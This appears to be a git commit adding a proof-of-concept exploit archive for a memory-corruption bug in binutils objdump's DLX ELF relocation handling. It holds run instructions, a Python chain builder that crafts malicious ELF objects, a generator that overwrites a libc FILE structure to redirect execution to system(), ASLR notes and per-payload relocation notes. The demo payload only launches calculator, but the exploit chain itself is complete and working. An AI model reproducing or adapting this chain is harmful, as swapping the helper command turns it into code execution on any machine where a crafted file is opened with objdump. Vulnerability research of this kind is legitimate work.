Add exploitarium archive

This commit is contained in:
ashton
2026-06-23 00:13:35 -05:00
commit b5d099261a
99 changed files with 5715 additions and 0 deletions

6
objdump-dlx-calc-poc/.gitattributes vendored Normal file
View File

@@ -0,0 +1,6 @@
*.py text eol=lf
*.sh text eol=lf
P text eol=lf
*.bin binary
*.notes text eol=lf
*.md text eol=lf

6
objdump-dlx-calc-poc/.gitignore vendored Normal file
View File

@@ -0,0 +1,6 @@
__pycache__/
*.pyc
calc_hit.log
objdump-poc.out
core
core.*

4
objdump-dlx-calc-poc/P Executable file
View File

@@ -0,0 +1,4 @@
#!/usr/bin/env sh
echo "CALC_HELPER_RAN $(date -u +%Y-%m-%dT%H:%M:%SZ)" >> ./calc_hit.log
/mnt/c/WINDOWS/system32/calc.exe >/dev/null 2>&1 &
exit 0

View File

@@ -0,0 +1,124 @@
# objdump dlx calc poc
Small repro for an `objdump -g` crash-to-calc path in the DLX ELF backend.
This is an ACE-style local parser bug: the input is a crafted ELF/DLX object file, and the trigger is running `objdump` on it. It is not a network RCE by itself. The demo payload starts the tiny helper named `P`, and that helper opens calculator.
Tested against a binutils-gdb master build from commit:
```text
c311f4d37f31ff3fbb5db6923abcdf93bb75a37b
```
## whats in here
- `payloads/*.bin` - crafted ELF/DLX object files to feed to `objdump`
- `payloads/*.notes` - notes for each generated payload variant
- `P` - helper script that writes `calc_hit.log` and starts Windows calculator from WSL
- `run_dlx_calc_poc.sh` - tries the payload variants until one hits
- `generate_objdump_dlx_calc_poc.py` - regenerates the payload variants
- `dlx_chain_builder.py` - small builder used by the generator
- `docs/aslr-bypass-analysis.md` - notes on why this is profile-dependent
- `tools/search_pointer_transform.py` - Z3 sanity check for fixed pointer transforms
The payload files are named `.bin` because they are raw binary files, but the file format inside is ELF/DLX.
## why there are multiple payloads
ASLR stays on. Because of that, one exact payload is not guaranteed to land every time. The files in `payloads/` are a small set of guesses for the address layout seen during testing.
The generator emits the original profile plus a WSL/Ubuntu 24.04 profile measured against the pinned `dlx-elf` build. The second profile keeps ASLR on but uses stable relative offsets observed in the target process:
```text
layout=wsl2404 off_io=-0x3690 off_sec=0xbb0 rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500 or 0x7043e4ff
```
That is an ASLR-on relative-delta strategy, not a universal single-shot info-leak bypass. A miss can still happen, so the runner keeps the retry loop.
More detail is in `docs/aslr-bypass-analysis.md`.
So a plain crash like this does not always mean the PoC failed:
```text
Segmentation fault (core dumped)
```
The useful signal is either calculator opening, or `calc_hit.log` getting a fresh `CALC_HELPER_RAN ...` line.
## quick run
From WSL:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
MAX_TRIES=50 bash run_dlx_calc_poc.sh /path/to/objdump
cat calc_hit.log
```
Example with a local binutils build:
```bash
MAX_TRIES=50 bash run_dlx_calc_poc.sh /opt/binutils-master/binutils/objdump
```
## manual run without the helper loop
If you want to do the same thing by hand and keep ASLR on:
```bash
cd /path/to/objdump-dlx-calc-poc
chmod +x P
export PATH="$PWD:$PATH"
rm -f calc_hit.log
for p in payloads/*.bin; do
echo "$p"
/path/to/objdump -g "$p" >/dev/null 2>&1 || true
if [ -s calc_hit.log ]; then
echo "HIT $p"
cat calc_hit.log
break
fi
done
```
Same thing as a one-liner:
```bash
rm -f calc_hit.log; for p in payloads/*.bin; do echo "$p"; /path/to/objdump -g "$p" >/dev/null 2>&1 || true; if [ -s calc_hit.log ]; then echo "HIT $p"; cat calc_hit.log; break; fi; done
```
## regenerating payloads
```bash
rm -rf payloads
python3 generate_objdump_dlx_calc_poc.py --out-dir payloads
```
The runner will also regenerate `payloads/` automatically if the folder is missing or empty.
## what the bug is doing
At a high level, the crafted DLX object gives `objdump -g` relocation data that causes the DLX backend to write outside the intended debug section while processing relocations. The PoC shapes those writes so that, when the process layout lines up, control flow reaches the helper command `P`.
That is why `PATH` matters. The helper is run by name, so this line is needed:
```bash
export PATH="$PWD:$PATH"
```
Without it, you can still get the segfault, but the helper might not be found.
## cleanup
Runtime files are not needed:
```bash
rm -f calc_hit.log objdump-poc.out
```
The generated crash after a hit is expected. The process usually does not exit cleanly after the helper is reached.

View File

@@ -0,0 +1,328 @@
#!/usr/bin/env pythoimport argparse
import struct
from pathlib import Path
EM_DLX = 0x5AA5
R_DLX_PCREL26 = 9
R_DLX_RELOC_32 = 3
MASK26 = 0x03FFFFFF
def p16(v):
return struct.pack(">H", v & 0xFFFF)
def p32(v):
return struct.pack(">I", v & 0xFFFFFFFF)
def strtab(strings):
blob = b"\x00"
offsets = {"": 0}
for s in strings:
if s and s not in offsets:
offsets[s] = len(blob)
blob += s.encode("ascii") + b"\x00"
return blob, offsets
def sym(name, value, size, info, shndx):
return p32(name) + p32(value) + p32(size) + bytes([info, 0]) + p16(shndx)
def build_elf(debug_size, relocs):
di = b"\x00" * debug_size
tx = b"\x00" * 4
sec_names = [
".text",
".debug_info",
".rel.debug_info",
".symtab",
".strtab",
".shstrtab",
]
shstr, shoff = strtab(sec_names)
names = [f"s{i}" for i in range(len(relocs))]
str_blob, stroff = strtab(names)
symtab = b""
symtab += sym(0, 0, 0, 0, 0)
symtab += sym(0, 0, 0, 0x03, 1)
symtab += sym(0, 0, 0, 0x03, 2)
for i, reloc in enumerate(relocs):
_offset, value = reloc[:2]
symtab += sym(stroff[f"s{i}"], value, 4, 0x12, 2)
rb = b""
for i, reloc in enumerate(relocs):
offset, _value = reloc[:2]
r_type = reloc[2] if len(reloc) > 2 else R_DLX_PCREL26
r_info = ((3 + i) << 8) | r_type
rb += p32(offset) + p32(r_info)
o = 52
text_off = o
o += len(tx)
debug_off = o
o += len(di)
rel_off = o
o += len(rb)
sym_off = o
o += len(symtab)
str_off = o
o += len(str_blob)
shstr_off = o
o += len(shstr)
shdr_off = o
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
return (
p32(name)
+ p32(stype)
+ p32(flags)
+ p32(0)
+ p32(offset)
+ p32(size)
+ p32(link)
+ p32(info)
+ p32(align)
+ p32(entsize)
)
hdrs = b""
hdrs += shdr(0, 0, 0, 0, 0, 0, 0, 0, 0)
hdrs += shdr(shoff[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0)
hdrs += shdr(shoff[".debug_info"], 1, 0, debug_off, len(di), 0, 0, 1, 0)
hdrs += shdr(shoff[".rel.debug_info"], 9, 0x40, rel_off, len(rb), 4, 2, 4, 8)
hdrs += shdr(shoff[".symtab"], 2, 0, sym_off, len(symtab), 5, 3, 4, 16)
hdrs += shdr(shoff[".strtab"], 3, 0, str_off, len(str_blob), 0, 0, 1, 0)
hdrs += shdr(shoff[".shstrtab"], 3, 0, shstr_off, len(shstr), 0, 0, 1, 0)
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8
ehdr = (
ident
+ p16(1)
+ p16(EM_DLX)
+ p32(1)
+ p32(0)
+ p32(0)
+ p32(shdr_off)
+ p32(0)
+ p16(52)
+ p16(0)
+ p16(0)
+ p16(40)
+ p16(7)
+ p16(6)
)
return ehdr + tx + di + rb + symtab + str_blob + shstr + hdrs
def decode_dlx_vallo(low26):
low26 &= MASK26
if low26 & 0x03000000:
return (~(low26 | 0xFC000000) + 1) & 0xFFFFFFFF
return low26
def low26_to_signed(low26):
low26 &= MASK26
if low26 & 0x02000000:
return low26 - 0x04000000
return low26
def word_to_low26(word):
return word & MASK26
def symbol_for_low26(current_word, final_low26):
final_low26 &= MASK26
signed_final = low26_to_signed(final_low26)
if signed_final == -0x02000000:
raise ValueError("DLX PCREL26 cannot encode final low26 0x02000000")
vallo = decode_dlx_vallo(word_to_low26(current_word))
return (vallo + signed_final) & 0xFFFFFFFF
def encodable_low26(final_low26):
return (final_low26 & MASK26) != 0x02000000
def apply_dlx_word(memory, offset, symbol_value):
cur = int.from_bytes(bytes(memory[offset : offset + 4]), "big")
vallo = decode_dlx_vallo(cur & MASK26)
val = ((symbol_value & 0xFFFFFFFF) - vallo) & 0xFFFFFFFF
if val & 0x80000000:
val_signed = val - 0x100000000
else:
val_signed = val
if abs(val_signed) > 0x01FFFFFF:
raise ValueError(f"relocation would be out of range: {val_signed:#x}")
new_word = (cur & 0xFC000000) | (val_signed & MASK26)
memory[offset : offset + 4] = new_word.to_bytes(4, "big")
class ChainBuilder:
def __init__(self, debug_size, rbase, memory_base, memory):
self.debug_size = debug_size
self.rbase = rbase
self.memory_base = memory_base
self.memory = bytearray(memory)
self.relocs = []
self.notes = []
self._initialized_addresses = set()
def _mem_index(self, target):
idx = target - self.memory_base
if idx < 0 or idx + 4 > len(self.memory):
raise ValueError(f"target {target:#x} outside modeled memory")
return idx
def _raw_reloc(self, offset, symbol_value, note):
idx = len(self.relocs)
self.relocs.append((offset & 0xFFFFFFFF, symbol_value & 0xFFFFFFFF))
self.notes.append((idx, offset, symbol_value & 0xFFFFFFFF, note))
self._set_address_field(idx, offset & 0xFFFFFFFF)
return idx
def add_pi32_reloc(self, target, delta, note):
actual_idx = len(self.relocs) + (2 if target < 0 else 0)
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
self._patch_negative_address_for_index(actual_idx)
idx = len(self.relocs)
self.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_32))
self.notes.append((idx, target, delta & 0xFFFFFFFF, note))
self._set_address_field(idx, target & 0xFFFFFFFF)
mem_idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[mem_idx : mem_idx + 4]), "big")
new = (cur + (delta & 0xFFFFFFFF)) & 0xFFFFFFFF
self.memory[mem_idx : mem_idx + 4] = new.to_bytes(4, "big")
def _set_address_field(self, reloc_idx, address):
if reloc_idx in self._initialized_addresses:
return
field = self.rbase + reloc_idx * 32 + 8
mem_idx = field - self.memory_base
if 0 <= mem_idx and mem_idx + 8 <= len(self.memory):
self.memory[mem_idx : mem_idx + 8] = (address & 0xFFFFFFFF).to_bytes(8, "little")
self._initialized_addresses.add(reloc_idx)
def _positive_write_low26(self, target, final_low26, note):
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self._raw_reloc(target, symv, note)
apply_dlx_word(self.memory, idx, symv)
def _patch_negative_address_for_index(self, actual_idx):
h = self.rbase + actual_idx * 32 + 12
self._positive_write_low26(h - 1, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword bytes 0..2")
self._positive_write_low26(h, 0x03FFFFFF, f"patch reloc{actual_idx} address high dword byte 3")
def write_low26(self, target, final_low26, note):
if target < 0:
actual_idx = len(self.relocs) + 2
self._set_address_field(actual_idx, target & 0xFFFFFFFF)
self._patch_negative_address_for_index(actual_idx)
self._raw_reloc(target & 0xFFFFFFFF, 0, f"{note} placeholder before simulation")
idx = self._mem_index(target)
cur = int.from_bytes(bytes(self.memory[idx : idx + 4]), "big")
symv = symbol_for_low26(cur, final_low26)
self.relocs[-1] = (target & 0xFFFFFFFF, symv)
self.notes[-1] = (actual_idx, target, symv, note)
apply_dlx_word(self.memory, idx, symv)
else:
self._positive_write_low26(target, final_low26, note)
def write_bytes4(self, target, data):
if len(data) != 4:
raise ValueError("write_bytes4 needs exactly 4 bytes")
prior_idx = self._mem_index(target - 1)
prior_low2 = self.memory[prior_idx] & 3
low_a = (
(prior_low2 << 24)
| (data[0] << 16)
| (data[1] << 8)
| data[2]
)
low_b = ((data[0] & 3) << 24) | (data[1] << 16) | (data[2] << 8) | data[3]
if encodable_low26(low_a) and encodable_low26(low_b):
self.write_low26(target - 1, low_a, f"stage write bytes at {target:#x}")
self.write_low26(target, low_b, f"finish write bytes at {target:#x}")
return
tail_idx = self._mem_index(target + 2)
tail_low2 = self.memory[tail_idx] & 3
for filler in range(0x10000):
low_tail = (tail_low2 << 24) | (data[3] << 16) | filler
if encodable_low26(low_tail) and encodable_low26(low_a):
self.write_low26(target + 2, low_tail, f"fallback tail byte for {target:#x}")
self.write_low26(target - 1, low_a, f"fallback first three bytes at {target:#x}")
return
raise ValueError(f"no DLX byte decomposition for target {target:#x}")
def parse_hex_bytes(value):
value = value.replace(" ", "").replace(":", "")
if len(value) % 2:
raise argparse.ArgumentTypeError("hex byte string must have an even length")
return bytes.fromhex(value)
def parse_write(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def parse_patch(spec):
off, data = spec.split(":", 1)
return int(off, 0), parse_hex_bytes(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--debug-size", type=int, default=144)
parser.add_argument("--rbase", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-base", type=lambda x: int(x, 0), required=True)
parser.add_argument("--memory-hex", type=parse_hex_bytes)
parser.add_argument("--memory-size", type=lambda x: int(x, 0))
parser.add_argument("--patch-mem", action="append", type=parse_patch, default=[])
parser.add_argument("--write4", action="append", type=parse_write, required=True)
parser.add_argument("--out", type=Path, required=True)
parser.add_argument("--notes", type=Path)
args = parser.parse_args()
if args.memory_hex is None:
if args.memory_size is None:
parser.error("either --memory-hex or --memory-size is required")
memory = bytearray(args.memory_size)
else:
memory = bytearray(args.memory_hex)
if args.memory_size is not None and args.memory_size > len(memory):
memory.extend(b"\x00" * (args.memory_size - len(memory)))
for off, data in args.patch_mem:
idx = off - args.memory_base
if idx < 0 or idx + len(data) > len(memory):
parser.error(f"--patch-mem offset {off:#x} outside modeled memory")
memory[idx : idx + len(data)] = data
builder = ChainBuilder(args.debug_size, args.rbase, args.memory_base, memory)
for target, data in args.write4:
builder.write_bytes4(target, data)
args.out.write_bytes(build_elf(args.debug_size, builder.relocs))
print(args.out.resolve())
print(f"relocations={len(builder.relocs)}")
if args.notes:
lines = []
for idx, target, symv, note in builder.notes:
lines.append(f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}")
args.notes.write_text("\n".join(lines) + "\n", encoding="ascii")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,94 @@
# ASLR bypass analysis
This repository contains an ASLR-on exploit for a local heap/libio profile. It
does not contain a deterministic universal ASLR bypass for the unmodified
`objdump` process.
## What works
The payload set can reach the helper command `P` with ASLR enabled when the
heap and libc low-word layout matches one of the generated profiles.
The current generator emits:
- `orig`: the first measured profile.
- `wsl2404`: offsets measured against the pinned `dlx-elf` build on
WSL/Ubuntu 24.04.
The `wsl2404` profile uses:
```text
off_io=-0x3690
off_sec=0xbb0
rbase=0x220
buf_delta=0x702fff00 or 0x6f300000
system_delta=0x7042e500 or 0x7043e4ff
```
## Why argv two-stage is not enough
A deterministic leak-then-exploit route would need this sequence in one
`objdump` process:
1. Process file 1 and leak libc.
2. Generate file 2 with the exact `system` delta.
3. Process file 2 with the same ASLR layout.
That path did not hold for this trigger. In local GDB measurements with
`objdump -W -r file1 file2`, the DWARF relocation side effect that mutates
`.debug_info` ran for the first object only. The second object's relocation
table printed unmodified symbol names (`s0`, `s1`, and so on).
FIFO staging is also blocked in unmodified `objdump`: `display_file()` calls
`get_file_size()`, and `get_file_size()` rejects non-regular files before
`bfd_openr()`.
## Why a fixed single-file transform is not universal
The useful dynamic value in the corrupted `FILE` object is the existing libc
pointer at `FILE+0x68`:
```text
_IO_2_1_stderr_ offset = 0x2044e0
system offset = 0x58750
```
For a page-aligned libc base, converting `P = base + 0x2044e0` into
`S = base + 0x58750` requires carry/borrow information from lower
little-endian bytes.
Counterexample over low 32 bits:
```text
base_low = 0x0000: P bytes = e0 44 20 00, S bytes = 50 87 05 00
base_low = 0x8000: P bytes = e0 c4 20 00, S bytes = 50 07 06 00
```
The original byte 2 and byte 3 are identical in both cases (`20 00`), but the
desired byte 2 differs (`05` versus `06`) based on original byte 1.
The DLX relocation additions available to the payload operate on big-endian
8/16/32-bit fields in the target byte stream. Their carries flow from higher
memory offsets toward lower memory offsets. They cannot make final byte 2
depend on original byte 1. PC-relative writes can set constants, but they do
not introduce the missing dependency.
`tools/search_pointer_transform.py` is a sanity check for this reasoning. It
asks Z3 for fixed sequences consisting of one 32-bit relocation plus up to a
chosen number of 8/16-bit correction relocations, then brute-verifies any
candidate over all page-aligned low-32-bit bases.
Example:
```bash
python3 tools/search_pointer_transform.py --mode r32-first --max-extra 4
python3 tools/search_pointer_transform.py --mode r32-last --max-extra 4
```
Both forms found no universal transform up to four correction relocations in
the tested operation class.
## Result
The PoC should be described as ASLR-on and profile-dependent. It is not a
universal single-file ASLR bypass.

View File

@@ -0,0 +1,157 @@
import argparse
import importlib.util
from pathlib import Path
HERE = Path(__file__).resolve().parent
spec = importlib.util.spec_from_file_location("dlx_chain_builder", HERE / "dlx_chain_builder.py")
builder_mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(builder_mod)
R_DLX_NONE = 0
R_DLX_RELOC_16 = 2
EXPECTED_RELOCS = 25
DEBUG_SIZE = 144
OFF_IO = -0x46A0
OFF_SEC = 0xB20
RBASE = 0x1F0
FILE_FLAGS = OFF_IO
FILE_BUF_BASE = OFF_IO + 0x20
FILE_SYSTEM_SLOT = OFF_IO + 0x68
FILE_WIDE_DATA = OFF_IO + 0xA0
FILE_VTABLE = OFF_IO + 0xD8
SECTION_SIZE_LOW = OFF_SEC + 0x38
SECTION_SIZE_HIGH = OFF_SEC + 0x3C
BUF_TO_FILE_BE32_DELTAS = (0xEF210000, 0xF020FF00)
WIDE_TO_FAKE_BE32_DELTAS = (0x4FFF0000,)
STDERR_TO_SYSTEM_BE32_DELTAS = (0x7042E500, 0x7043E4FF)
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16 = 0x0002
LAYOUTS = (
{
"name": "orig",
"off_io": OFF_IO,
"off_sec": OFF_SEC,
"rbase": RBASE,
"buf_deltas": BUF_TO_FILE_BE32_DELTAS,
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
{
"name": "wsl2404",
"off_io": -0x3690,
"off_sec": 0xBB0,
"rbase": 0x220,
"buf_deltas": (0x702FFF00, 0x6F300000),
"wide_deltas": WIDE_TO_FAKE_BE32_DELTAS,
"system_deltas": STDERR_TO_SYSTEM_BE32_DELTAS,
},
)
def add_pi16_reloc(chain, target, delta, note):
actual_idx = len(chain.relocs) + (2 if target < 0 else 0)
chain._set_address_field(actual_idx, target & 0xFFFFFFFF)
if target < 0:
chain._patch_negative_address_for_index(actual_idx)
idx = len(chain.relocs)
chain.relocs.append((target & 0xFFFFFFFF, delta & 0xFFFFFFFF, R_DLX_RELOC_16))
chain.notes.append((idx, target, delta & 0xFFFFFFFF, note))
chain._set_address_field(idx, target & 0xFFFFFFFF)
def base_memory(flag_byte4, off_io, off_sec, rbase):
memory_base = off_io - 0x100
memory_end = max(rbase + EXPECTED_RELOCS * 32 + 0x80, off_sec + 0x80)
memory = bytearray(memory_end - memory_base)
flags_idx = off_io - memory_base
memory[flags_idx : flags_idx + 8] = bytes([0x88, 0x24, 0xAD, 0xFB, flag_byte4, 0, 0, 0])
return memory_base, memory
def build(out_dir):
out_dir.mkdir(parents=True, exist_ok=True)
outputs = []
for layout in LAYOUTS:
off_io = layout["off_io"]
off_sec = layout["off_sec"]
rbase = layout["rbase"]
file_flags = off_io
file_buf_base = off_io + 0x20
file_system_slot = off_io + 0x68
file_wide_data = off_io + 0xA0
file_vtable = off_io + 0xD8
section_size_low = off_sec + 0x38
section_size_high = off_sec + 0x3C
for flag_byte4 in (0x05, 0x06):
for buf_delta in layout["buf_deltas"]:
for wide_delta in layout["wide_deltas"]:
for system_delta in layout["system_deltas"]:
memory_base, memory = base_memory(flag_byte4, off_io, off_sec, rbase)
chain = builder_mod.ChainBuilder(DEBUG_SIZE, rbase, memory_base, memory)
chain.write_bytes4(file_flags, b"P\x00\x00\x00")
chain.write_bytes4(section_size_low, b"\xff\xff\xff\xff")
chain.write_bytes4(section_size_high, b"\xff\xff\xff\xff")
chain.add_pi32_reloc(file_buf_base, buf_delta, "FILE+0x20 input buffer pointer -> FILE fake wide vtable")
chain.add_pi32_reloc(file_system_slot, system_delta, "FILE+0x68 _IO_2_1_stderr_ -> system")
chain.add_pi32_reloc(file_wide_data, wide_delta, "FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data")
add_pi16_reloc(
chain,
file_vtable,
FILE_JUMPS_TO_WFILE_OVERFLOW_FINISH_BE16,
"FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow",
)
while len(chain.relocs) < EXPECTED_RELOCS:
chain.relocs.append((0, 0, R_DLX_NONE))
chain.notes.append((len(chain.relocs) - 1, 0, 0, "pad R_DLX_NONE"))
if len(chain.relocs) != EXPECTED_RELOCS:
raise ValueError(f"unexpected reloc count {len(chain.relocs)}")
name = (
f"dlx_calc_aslr_{layout['name']}_f{flag_byte4:02x}_"
f"b{buf_delta:08x}_s{system_delta:08x}"
)
out = out_dir / f"{name}.bin"
notes = out_dir / f"{name}.notes"
out.write_bytes(builder_mod.build_elf(DEBUG_SIZE, chain.relocs))
notes.write_text(
"\n".join(
[
f"layout={layout['name']}",
f"flag_byte4=0x{flag_byte4:02x}",
f"buf_delta=0x{buf_delta:08x}",
f"wide_delta=0x{wide_delta:08x}",
f"system_delta=0x{system_delta:08x}",
"command=P",
f"off_io={off_io:#x} off_sec={off_sec:#x} rbase={rbase:#x}",
"",
]
+ [
f"{idx:03d} target={target:#x} sym=0x{symv:08x} {note}"
for idx, target, symv, note in chain.notes
]
)
+ "\n",
encoding="ascii",
)
outputs.append(out)
return outputs
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--out-dir", type=Path, default=HERE / "payloads")
args = ap.parse_args()
for out in build(args.out_dir):
print(out.resolve())
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xef210000
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xef210000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7042e500
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7042e500 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

View File

@@ -0,0 +1,33 @@
layout=orig
flag_byte4=0x05
buf_delta=0xf020ff00
wide_delta=0x4fff0000
system_delta=0x7043e4ff
command=P
off_io=-0x46a0 off_sec=0xb20 rbase=0x1f0
000 target=0x23b sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x23c sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x46a1 sym=0x00d824ad stage write bytes at -0x46a0
003 target=0x29b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x29c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x46a0 sym=0x000000fb finish write bytes at -0x46a0
006 target=0xb57 sym=0x00ffffff stage write bytes at 0xb58
007 target=0xb58 sym=0x000000ff finish write bytes at 0xb58
008 target=0xb5b sym=0x00ffffff stage write bytes at 0xb5c
009 target=0xb5c sym=0x000000ff finish write bytes at 0xb5c
010 target=0x37b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x37c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x4680 sym=0xf020ff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x3db sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x3dc sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x4638 sym=0x7043e4ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x43b sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x43c sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x4600 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x49b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x49c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x45c8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
